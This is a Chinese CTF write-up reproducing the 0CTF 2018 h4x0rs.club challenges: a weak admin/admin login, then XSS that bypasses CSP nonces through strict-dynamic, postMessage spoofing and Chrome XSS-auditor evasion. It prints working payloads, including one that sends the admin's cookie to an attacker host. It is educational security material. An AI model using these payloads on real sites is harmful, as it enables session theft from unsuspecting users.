前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >0CTF h4x0rs.club1/2 复现

0CTF h4x0rs.club1/2 复现

作者头像
安恒网络空间安全讲武堂
发布2018-04-18 16:56:32
1.5K0
发布2018-04-18 16:56:32
举报
文章被收录于专栏:安恒网络空间安全讲武堂

周末肛了一下0ctf,发现自己依旧那么菜。一道题也没解出来,成功的再一次拖了队伍后退。

今天发现国外大佬们已经开始放wp了。于是自己学习一波,复现一下。

先吐槽一波

h4x0rs.club1

Flag is biography of the administrator. There are more than one way to get this flag.

h4x0rs.club-https://h4x0rs.club/game/

backend_www got backup at /var/www/html.tar.gz

h4x0rs.club2

Get document .cookie of the administartor.

h4x0rs.club-https://h4x0rs.club/game/

backend_www got backup at /var/www/html.tar.gz

Hint: Get open-redirect first, lead admin to the w0rld!

两道题好像是一起放出来的,看完题目介绍时,分析了一会,自己是懵的。因为同样是xss题,总感觉第一题要比第二题难好不好。

而且看到那个hint给的源码,很懵,到底要怎么读源码。。

因为网站是在 /var/www/html/ 目录下的。

然后随着第一题做出来的人,越来越多,第二题做出来的人寥寥无几。自己心虚了。感觉应该不是同一种方式,怀疑第二题难道cookie做了httponly?我去,想都不敢想啊,这该怎么拿。

事实证明,我想错了。

h4x0rs.club1

对,真的是想错了,一直在以xss的方式想题。

谁能知道第一题竟然是弱口令!当队友通过 admin

admin 登录成功时,自己。。。。

我真的不知道该说啥好。

对,第一题就这么解开了,登陆后就可以进资料看到flag了。

h4x0rs.club2

好了,不闹,现在开始正式做题。我先理一下我之前的思路吧,可能篇幅有点长。

但看完老外的wp,发现最后结果依旧很简单。

0x01 分析站点

因为这道题是xss题目,首先先看一下是否存在csp。此时发现果然有。

default-src 'none'; 指定默认的所有属性值为none,即什么都不加载

img-src * data: ; 指定图片允许加载任何网站,及通过data加载

script-src 'nonce-d27eedc90fc6036829cb4d92e898f0d8'; 只允许加载带nonce属性的srcipt

style-src 'self' 'unsafe-inline' fonts.googleapis.com; 允许加载本域css,允许加载内嵌于html中的css,允许

加载来自google那个域的css

font-src 'self' fonts.gstatic.com; 字体,其余同上

frame-src https://www.google.com/recaptcha/; iframe,同上

看到后,会发现,这样一限制基本没有了机会去xss。

并且他还关闭了缓存:

Cache-Control:no-store, no-cache, must-revalidate, max-age=0

Cache-Control: post-check=0, pre-check=0

拿到这些信息后,先放一放,然后继续分析逻辑

进入后,发现是个游戏站点。需要登录,并且默认登陆后自动注册。

登录之后发现是一个猜宠物的小游戏。

左上角翻译如下:

那只神奇宝贝是谁?是大家都知道的游戏,不是吗?

  1. 点击播放
  2. 猜猜神奇宝贝的名字
  3. 回答

所以可以明白这个游戏是干啥的了。

游戏逻辑:点击左下角三角开始,然后在右边的窗格内会显示宠物与选项,还有一个输入框。输入对了就会

加分。

还好题目已经提示是拿管理员cookie,即xss。

否则真的会以为和HCTF2017那个打到100级一样。这点还是要赞一下0CTF的。

所以,直接分析其他点

  1. LOG OUT:登出
  2. PROFILE:个人资料,可以修改简介。
  3. SCOREBOARD:排行榜
  4. 小鸟:分享到Twitter

首先登出没啥好看的,直接取看了profile。

发现有一个textarea,尝试写入以下语句闭合textarea,发现可以用。

</textarea><img src=#>

此时成功引入了一个img标签。但是如何看到这页呢?因为这页的url是

https://h4x0rs.club/game/profile.php ,所以admin看的肯定是他的。

此时发现有奇怪的public与private,即,一定存在其他页面可以访问资料。

于是继续看SCOREBOARD,发现是个排行榜,显示着每个人的成绩,后面还有个小捕捉球,可以点击。

点进去即可查看其他人资料。并且还可以向管理员反馈此页的违纪信息。

所以,此时可以获取到我的资料链接 https://h4x0rs.club/game/user.php/yourname

然后回到刚刚页面,写入 <img src='youvps'> ,将我的资料链接提交给admin,

然后很愉快的在主机上接收到了一些该服务器的信息。

不要问我为啥不写js,csp限制的那么狠,你告诉我js怎么写!怎么写!

而且大多数时候,写img,可以测试一下是否存在这个点。自己蛮喜欢先拿他测试。

发现Chrome版本为65。此时无法使用 Chrome < 62 UXSS(CVE-2017-5124) ,只能通过其他方式来找绕过nonce的方法。

继续看,看到了主页面url的一个奇怪点 https://h4x0rs.club/game/?msg=Welcome

url长这个样子,你们想到了什么。首先随便输一点,然后F12,ctrl+F 搜索刚刚输进去的。(xss挖掘必备技巧)

发现此处也存在后端未过滤加载欢迎语。不多做介绍,趁比赛没关,大家可以试试。

然后分析network,发现引入了一个外域的东东,

进一步发现主页是通过引入一个iframe来加载的这个页面。

然后发现这个引入的页面里有一堆的js代码。

而且network那里还有不断发送的请求。

所以猜测,游戏是在与一个其他服务器上通信,所有的游戏资源都在那里。

仔细分析引入的js可以发现。他是在和另一个页面,即socket进行通信。有以下几个功能

1. ping:测试是否在线

2. question:获取问题

3. answer:判断答案是否正确

4. badges:获取一个徽章

最终在队友指点下,了解到badges处含有文件读取漏洞。于是成功脱下源码。(不过多介绍了,本来就挺长了)

然并卵,什么都看不出来,尤其是有个防止叫csrf的页面,更是让我欲仙欲死,从csrf方面想了半天。

然后继续,又发现加载了一下js

其实一开始没有太过在意这些js ,将其理解为了一些库之类的,毕竟app.js四千多行(真心难受,事实证明,我应该多看看的,里面有个非预期解)。

所以可以看出该游戏由两部分构成:前端页面(https://h4x0rs.club/game/)和后端页面(https://backend.h4x0rs.club/backend_www/)

分析原理,可知。

首先通过加载iframe,来获得一个通以及token,来供两个页面进行通信。

然后通过postMessage来与iframe进行通信,iframe再将信息通过websocket发送到socket.php。

0x02 思考利用

首先,我们整理一下刚刚的发现:

1. script标签强制要求带nonce

2. bot 为 Chrome/65.0,无法使用uxss

3. 没有开启缓存

所以可以知道题目要求,让我们想办法绕过nonce,从而执行js,获取到管理员的cookie。

此时想到利用缓存,来绕过nonce,但是没有开启缓存,这个很无奈了。(百度 nonce 缓存 绕过,有资料)

然后开始寻找如何绕过nonce,然而没用啊。

最后看完大佬的wp,让我更加坚信,绕过nonce就那几招,

1. 缓存

2. uxss

3. rpo

4. 自身js代码逻辑漏洞

分析js,发现登录后的主页面有这么一句js,蛮可疑。

猜测,可不可以构造一些怪怪的名字比如 "alert(1);// ,好吧,事实证明,我想多了。

竟然限制username。只允许小写字母和数字以及下划线。还要求5-16位。这就比较难受了。

然后看到一个4000行+的app.js。(当时自己坚定的将心都放在了websocket上。因为拖到源码,看到了那边有csrf的字样,还有enable_cors字样,把自己引导到了cors。这里依旧不细说了,毕竟这个坑挺深,一说又几千字了。)

做了两天。。两天,没做出来一道题,心塞!

【正解】几天后的今天

wp出来后,第一时间去看了一下。发现出题大佬真心6。膜一下。

主要考点有一个csp中的strict-dynamic。

Content‐Security‐Policy:script‐src 'nonce‐e4a725db62632e28cdcc1ac70a15a572' 'strict‐dynamic';

由于自己之前看csp规则时,忽略了不同页面配置有不同规则。没有注意到这一点,并且对这里不熟悉。

这次搜索后发现,这个规则是信任通过js加载进来的js代码

即,如果是被已经信任的js,所动态加载的代码都是可以执行的。

所以,这样一来,分析前端client.js代码与后端index.js交互逻辑可以发现以下问题。

前端client.js接收后端badge,并且渲染

此时调用badge,渲染时没有对data.title进行转义,直接输出。

这样一来,可不可以修改一下这个data.title值呢,

接下来,继续看他的去向。

首先是前端client.js发送内容 badge时的参数,将username+got badge作为title发送。

以及后端index页面接收badge时的js,依旧输出title,基本没做什么变换。

此时,小伙伴们可能就会以为,唉,没办法了。(啥,你又想起来改username了?难道忘了刚刚的教了?)

然而出题人就在这里搬了个小板凳等着。

既然没办法修改值,为什么不尝试伪造呢?

因为后端index不知道是谁给他通过postMessage发送的信息。但是,他却将所有信息都发送到了最顶级窗口。

后端主页js代码

所以说,我们可以搬个小板凳,坐在前端和后端中间,然后悄悄告诉后端一个假的title,这样,后端再将他发到前端。嘿嘿嘿。想想就开心

此时大家可能有疑问,为什么不直接化个妆,假装是后端呢,非要搬个小板凳坐中间。

因为前端对接收的信息做了验证。

但后端可没有做这个验证。其实大部分开发也是这样,因为后端不一定只给一个网站做后端。故有些站长会忽视掉验证。

但该题后端还真验证了,而且验证的真心迷,大概是怕谷歌抄袭他游戏吧。

所以还是乖乖搬小板凳吧

不知还记得刚刚哪个msg么。此时他就有用了哦。可以通过它将我们的eval.html作为iframe引入。然后起到欺骗的效果。

借一下出题人大佬的图

然后即可构造

https://h4x0rs.club/game/?msg=

<iframe name=game_server src=//eval.com/test/eval.html></iframe>

此时遇到一个很尴尬,很尴尬的问题。他被Chrome的安全策略拦截了!!拦截了!这还日个毛线的站。

但是,大佬却提出来了一个新思路,并且带来了一个新的洞洞。

先说洞洞吧。

查看他人资料页里,含有这么一句js

看似没用,但是看过大佬的思路后,顿时感觉汗颜,还是自己太年轻啊!

Chrome拦截策略是,当你在url通过iframe引入其他域页面是,进行拦截,所以,我们完全可以引入一个本域的页面。

即引入一个用户eval1的资料页面,并且在这里。可以通过a标签,搭配刚刚哪个洞洞来进行跳转到eval.html。

此时,继续开始开开心心的尝试。

在eval1资料页面写入以下信息

<a href='//eval.com/test/eval.html' id=report‐btn></a>

然后访问

https://h4x0rs.club/game/?msg=

<iframe name=game_server src=/game/user.php/eval1#report></iframe>

成功拿到自己的cookie,开心!

然而。。。。好景不长。就当我刚刚把这个链接提交后。

老哥,别闹,我真的没骗你。我提交的是你主页链接啊,这里有人写违法字符,不信你看!

好了,不闹了。。此时此刻,发觉主页是无法提交的。此时心中一曲凉凉将要送给自己。

但是,突然想到大佬的教诲。既然刚刚哪个都成功解决了,为何不能在写一个user的资料,跳转一下呢?

默默注册eval2,资料填写如下:

<a href=//h4x0rs.club/game/?msg=

<iframe name=game_server src=/game/user.php/eval1#report id=report‐btn></a>

哈哈哈,机智如我,此时提交eval2的链接试一下。

成功获取到cookie

p.s.我一猜肯定有人要问我用的什么平台。自己搭的ezxss,话说这个真心好玩!

【某非预期解】依旧是今天

时刻关注ctftime,寻找writeup,看到某篇了writeup。然后心塞塞了。4000行的app.js处果然是有问题的。

某大佬,成功审计出一处漏洞,来来来,大家一起分享一下。

$(".js‐user").append($("#audiences").html())

首先别的先不看(看也看不懂),大家应该能看懂这句话是什么意思吧。

也就是在class为js-user下添加id为audiences内的html代码。即添加以下代码就是可以执行的。

<div id=audiences><script>alert(1)</script></div><div class="js‐user"></div>

不要问为什么,难道忘了刚刚的strict-dynamic了么?

然后,问题来了,插到哪里,怎么插?这里大神是给出了解释。

在校验游戏结果是有这么一句js。所以,我们可以在主页msg中插。

但是,这段代码是要等到游戏执行结束后才可以执行、那该怎么办?

此时我们需要自动开启游戏。

大佬说,他又在client.js发现了这个。

此时的我已经奔溃了,真心服!特别服!贼拉拉的服!

也就是说,此时我们可以构造一个按钮,放在class为js-difficulty的元素内。

直接查看元素,可以发现按钮的代码如下,应该是通过jQuery监听的事件,并处理。

但是,他监听的是哪个属性呢?,一般来说应该是id。但,此时此刻,大佬又说,我们要用那个 js-start-button

的class好吧,那就听你的。

所以最终的点击payload如下

<div class=js‐difficulty><div class=js‐start‐button></div></div>

尝试一下

https://h4x0rs.club/game/?msg=<div class=js‐difficulty><div class=js‐start‐button></div></div>

你会发现,哇塞。果然自动开了局游戏,比按键精灵还爽有没有?

开开心心的插入以下代码。

https://h4x0rs.club/game/?msg=<div id=audiences><script>alert(1)</script></div><div class="js‐

user"></div><div class=js‐difficulty><div class=js‐start‐button></div></div>

然后宝宝就不开心了。Chrome,****。没办法啊,谁叫bot也是Chrome啊,他那肯定不可能把Chrome的 XSS

auditor关掉。

此时此刻,大神又告诉了一个神奇的方式。

什么?加注释就可以么?还是半个。好神奇啊。

所以最终payload如下:

https://h4x0rs.club/game/?msg=<div id=audiences><script><!‐‐alert(1)</script></div><div

class="js‐user"></div><div class=js‐difficulty><div class=js‐start‐button></div></div>

其他的就不用我多说了吧,js里改成 loction.href='youhost'+document.cookie 不过,记得url编码一下,要不+号会被识别为空格。

最后,再膜一下这位大佬。代码审计真心服。

总结

复现完这道题,自己收获蛮大。下面自己总结一下自己的收获,也希望大家看完我的讲解,也能有一定的收获。欢迎评论补充你的收获。

  1. 了解了csp的strict-dynamic属性。
  2. 弥补了一个误区,之前以为csp都是按站设的,没太注意,还可以按不同页面设置不同的。
  3. 对iframe框架的一些通信有了些了解(postMessage)。
  4. 对绕过nonce有了进一步的认识。
  5. 对Chrome XSS auditor的拦截规则有了进一步的了解。
  6. 对js代码审计也有了些许了解。一些骚套路,自动点击,自动跳转。
  7. 发现大佬们真的好强好强好强。

参考资料

  • 出题人官方wp-https://github.com/l4wio/CTF-challenges-by-me/tree/master/0ctf_quals2018/h4x0rs.club
  • 非预期解大佬wp-https://github.com/lbherrera/writeups/blob/master/0ctf_quals2018/h4x0rs.club/README.md#write-up
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-04-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
代码审计
代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档